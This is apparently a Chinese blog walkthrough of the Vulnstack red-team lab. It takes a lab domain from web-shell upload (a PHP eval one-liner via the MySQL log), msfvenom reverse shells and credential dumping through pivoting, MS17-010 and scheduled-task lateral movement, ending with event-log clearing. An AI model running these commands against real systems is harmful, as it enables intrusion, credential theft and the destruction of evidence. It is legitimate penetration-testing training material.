ATT&CK实战系列——红队实战(一)
ATT&CK实战系列——红队实战(一)
纯小白向文章,大佬勿喷,有错误的地方希望大佬们指正
介绍
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
环境搭建
拓朴图如下:
(win7为VM1,win2003为VM2,win2008为VM3)
网络配置
因为我的kali是用wsl2搭建的,而靶机是在vmware下搭建的,所以要重新配置一下vmware的虚拟网卡
首先,要获取WSL2下kali的虚拟网络的IP地址和子网掩码
通过命令: ifconfig
可以看到kali的ip为172.22.251.229
为了使vmware中运行的虚拟机可以和kali互通,需要在VMware虚拟网络编辑器中设置一个自定义虚拟网络,从而让kali和web服务器在同一个子网内
基本步骤:
- 打开VMware虚拟网络编辑器。
- 点击“更改设置”按钮,然后在“网络适配器”选项卡上选择一个适配器,例如VMnet8。
- 在“子网IP”部分,选择一个未使用的IP地址,例如172.22.8.1,并确保子网掩码设置为255.255.255.0。
- 点击“NAT设置”按钮,在“网关IP”部分,输入172.22.8.2。
- 点击“确定”保存更改,并关闭VMware虚拟网络编辑器。
至此,靶机中的web服务器就可以和kali攻击机互通了,
接下来就要配置靶机的内网环境,通过在web服务器新建一个网卡来实现模拟内网环境
(如下面的丑图所示
1 | 攻击机: |
开启服务
最后在win7(web服务器)通过phpstudy启动服务,并在本地访问成功,就算正式部署好环境了
信息收集
端口扫描
首先我们知道了目标ip是172.22.8.128
使用nmap扫描目标开放的端口信息
1 | nmap -Pn 172.22.8.128 |
目录爆破
看web服务就是phpStudy 探针,先进行目录爆破看看有没有泄露的
1 | http://172.22.8.128/l.php |
源码泄露
可以看到有泄露了一个beifen.rar
下载下来发现是网站的源码
敏感信息泄露
数据库账号密码
浏览一下源码,发现泄露了数据库的用户名和密码(源码泄露后可以通过正则快速发现源码中的敏感信息)
再结合上面目录爆破出的phpmyadmin,我们就可以通过泄露的用户名密码直接登录,可以看到数据库的用户名密码是弱口令,如果没有泄露源码,也可以直接弱口令爆破出正确密码。
网站后台账号密码
通过备份文件中的yxcms猜测网站路径,发现后台账号密码泄露(。。。。。。
漏洞挖掘&利用
网站后台
通过信息泄露登录后台
后台getshell思路
- 后台数据库备份Getshell
- 各类上传Getshell
- 修改网站上传类型Getshell
- 上传其他脚本类型Getshell
- 编辑器漏洞Getshell
- 网站配置插马Getshell
- 编辑模版Getshell
- 修改脚本文件Getshell
- ……
编辑模板Getshell
上传恶意模板文件
新建一个模板写一句话
上传成功想直接访问试试,但是不出意外not found了
目录扫描
暂时不知道上传的模板文件去哪里了,还是先扫一下目录
目录遍历
发现扫出了不少东西,一一访问一下看看,发现public/ protected/ upload/下居然都有目录遍历漏洞,那么我们就可以通过它来找到上传的模板文件了,都访问一下,终于在protected/下找到了上传的模板文件
1 | http://ip/yxcms/protected/apps/default/view/default/ |
Getshell
然后就可以直接通过蚁剑连接了,成功Getshell
phpmyadmin
通过泄露的root root登录
phpmyadmin Getshell思路
- 查询物理路径
- 查询secure_file_priv参数
- select into outfile直接写入
- 日志GetShell
- 使用慢查询日志getsehll
- 使用错误日志getshell
- 新表GetShell
- 特殊版本GetShell
获取真实路径
猜测网站路径为:C:/phpStudy/www/
查询secure_file_priv参数
1 | select @@secure_file_priv; |
发现值为NULL,无法通过select into outfile直接写入
尝试日志GetShell
原理
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
查询日志全局变量
1 | show variables like '%general%'; |
发现日志没有开启,且日志保存的路径不在网站目录下,那么我们需要修改一下配置
1 | set global general_log = "ON"; -- 打开日志保存 |
再次查询
写shell
1 | select '<?php @eval($_POST[cmd]); ?>'; |
还写了两条语句方便理解
1 | select '<?php?>'; |
访问url
发现了这三条记录,第一条引号里面是空的,第三条输出了123,说明成功写入并且成功解析为php代码并执行了
通过蚁剑连接
还有更多getshell方式等待你们尝试
权限提升
Windows提权思路
- 内核溢出漏洞提权
- BypassUAC
- DLL劫持
- 引号路径
- 服务权限
- 进程注入
- 令牌窃取
- AT&SC&PS命令
内核溢出漏洞提权的利用
一般就是收集一下windows的补丁和版本信息,然后和已知漏洞对比,寻找可利用的exp
可以使用一些github的项目自动对比
1 | https://github.com/bitsadmin/wesng |
也可以使用cs和msf自动化
这里我就直接使用msf进行提权了
利用msf提权
生成反弹后门
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.251.229 LPORT=5555 -f exe -o msf.exe |
上传至C:/phpStudy/tmp/
目录下,当然这里还有可以要用到免杀的知识,但是这个靶场并没有,等以后遇到了再写吧
配置监听会话
1 | use exploit/multi/handler |
然后在蚁剑执行反弹后门就行
有回显说明成功反弹shell
先background退出当前session,然后sessions查看session id
筛选EXP模块
半自动
1 | use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁) |
全自动
1 | use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞) |
exp之后就会自动识别,然后输出
但是这个靶机只需要getsystem
内网渗透
收集密码
使用kiwi模块
加载kiwi模块
1 | load kiwi |
可以看到提示:
1 | [!] Loaded x86 Kiwi on an x64 architecture |
报错解释回归到kiwi原理上:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
进程迁移
1 | migrate 488 |
再load就没有报错了
查看kiwi模块的使用
1 | load kiwi |
1 | creds_all:列举所有凭据 |
使用creds_all获得本机密码
密码抓取
抓到了
1 | Administrator |
域信息收集
这里借用一下迪总的图
判断内网ip
为192.168.52.1/24
手动收集
shell后乱码
进入shell后发现乱码,执行下面这条指令即可
1 | Chcp 65001 |
1 | shell |
上传fscan
简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
使用
使用全部模块扫描内网
结果
1 | start infoscan |
信息整理
1 | 192.168.52.143 web服务器 stu1 |
域环境
1 | 从域信息收集可以得到以下信息: |
隧道搭建
内网中添加路由主要是充当跳板功能, 其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往内网的路由,此路由的下一跳转发,即网关,是MSF攻击平台与被攻击目标建立的一个session会话。通过msf添加路由功能,可以直接使用msf去访问原本不能直接访问的内网资源
添加路由
1 | run get_local_subnets |
或者
1 | use post/multi/manage/autoroute |
配置socks代理
代理就是在我们的kali开启了一个socks代理,监听kali本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中
1 | use auxiliary/server/socks_proxy |
连接代理
代理就是在我们的kali开启了一个socks代理,监听kali本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中
ProxyChains
ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。 ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。
如果没有ProxyChains的话先 apt install proxychains
然后修改/etc/proxychains.conf文件
首次install还需要去掉dynamic_chain的注释
成功再kali命令行访问内网ip
后面的步骤不需要配置socks5代理也可完成,只需要在msf配置好路由就能攻击
横向移动
MS17-010打ROOT-TVI862UBEH
上面已经用过fscan收集信息了,似乎域内其他两台主机都有 MS17-010 ,那就直接用msf一把梭试试了
1 | use exploit/windows/smb/ms17_010_psexec |
exploit/windows/smb/ms17_010_psexec
模块执行失败。。。
关闭防火墙
auxiliary/admin/smb/ms17_010_command
模块可以执行命令,通过这个模块先关闭防火墙,再尝试windows/smb/ms17_010_psexec
模块,依旧失败,尝试其他方法吧
1 | use auxiliary/admin/smb/ms17_010_command |
添加用户
auxiliary/admin/smb/ms17_010_command
模块可以执行命令,那么我们可以直接添加用户,然后改权限,关防火墙,然后直接远程登录
1 | use auxiliary/admin/smb/ms17_010_command |
1 | proxychains rdesktop 192.168.52.141 |
登录然后上msf木马然后getsystem拿下
当然域控也可以用同一种方式拿下,但是为了学习,还是使用其他方法吧
psexec 打域控
参考:
https://www.freebuf.com/articles/system/332115.html
https://blog.csdn.net/qq_41874930/article/details/108455478
什么是Psexec
PsExec
是由Mark Russinovich
创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。PsExec
可以算是一个轻量级的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如 ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
先关闭防火墙
还是通过ms17_010执行命令关闭防火墙
1 | use auxiliary/admin/smb/ms17_010_command |
使用msf的psexec模块
1 | use exploit/windows/smb/psexec |
还是失败,谷歌了个遍,不知道是什么原因,可能是因为环境或者msf版本问题吧,尝试其他做法吧
C盘共享传马打域控
参考:
https://blog.csdn.net/qq_53263789/article/details/115091561 https://blog.csdn.net/qq_40638006/article/details/122033546
用win7连接域控的c盘共享
1 | sessions 1 |
生成反弹shell
因为现在是在用win7(192.168.52.143)做跳板打内网,所以反弹的是win7的ip和端口
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=9999 -f exe -o msf_msf.exe |
先把生成的shell upload到win7里
1 | upload msf_msf.exe ./shell.exe |
重新shell后dir看看,找到upload的shell
将shell复制到共享c盘
1 | copy shell.exe \\192.168.52.138\c$\shell_msf.exe |
写定时任务
写定时任务,每分钟执行一次
1 | schtasks /Create /sc minute /mo 1 /tn "srn4" /tr "C:\shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@win7" |
监听
1 | use exploit/multi/handler |
成功拿下域控!!(如果没有反弹成功可能是win7也就是143的机子没有关防火墙
痕迹清理
msf自带的痕迹清理 #清除windows中的应用程序日志、系统日志、安全日志
1 | clearev |
全部清一遍就好了
参考:https://www.freebuf.com/articles/web/226240.html
https://cloud.tencent.com/developer/article/1937037
https://cloud.tencent.com/developer/article/1759960
https://blog.csdn.net/m0_55793759/article/details/126514312
https://www.anquanke.com/post/id/235101#h2-21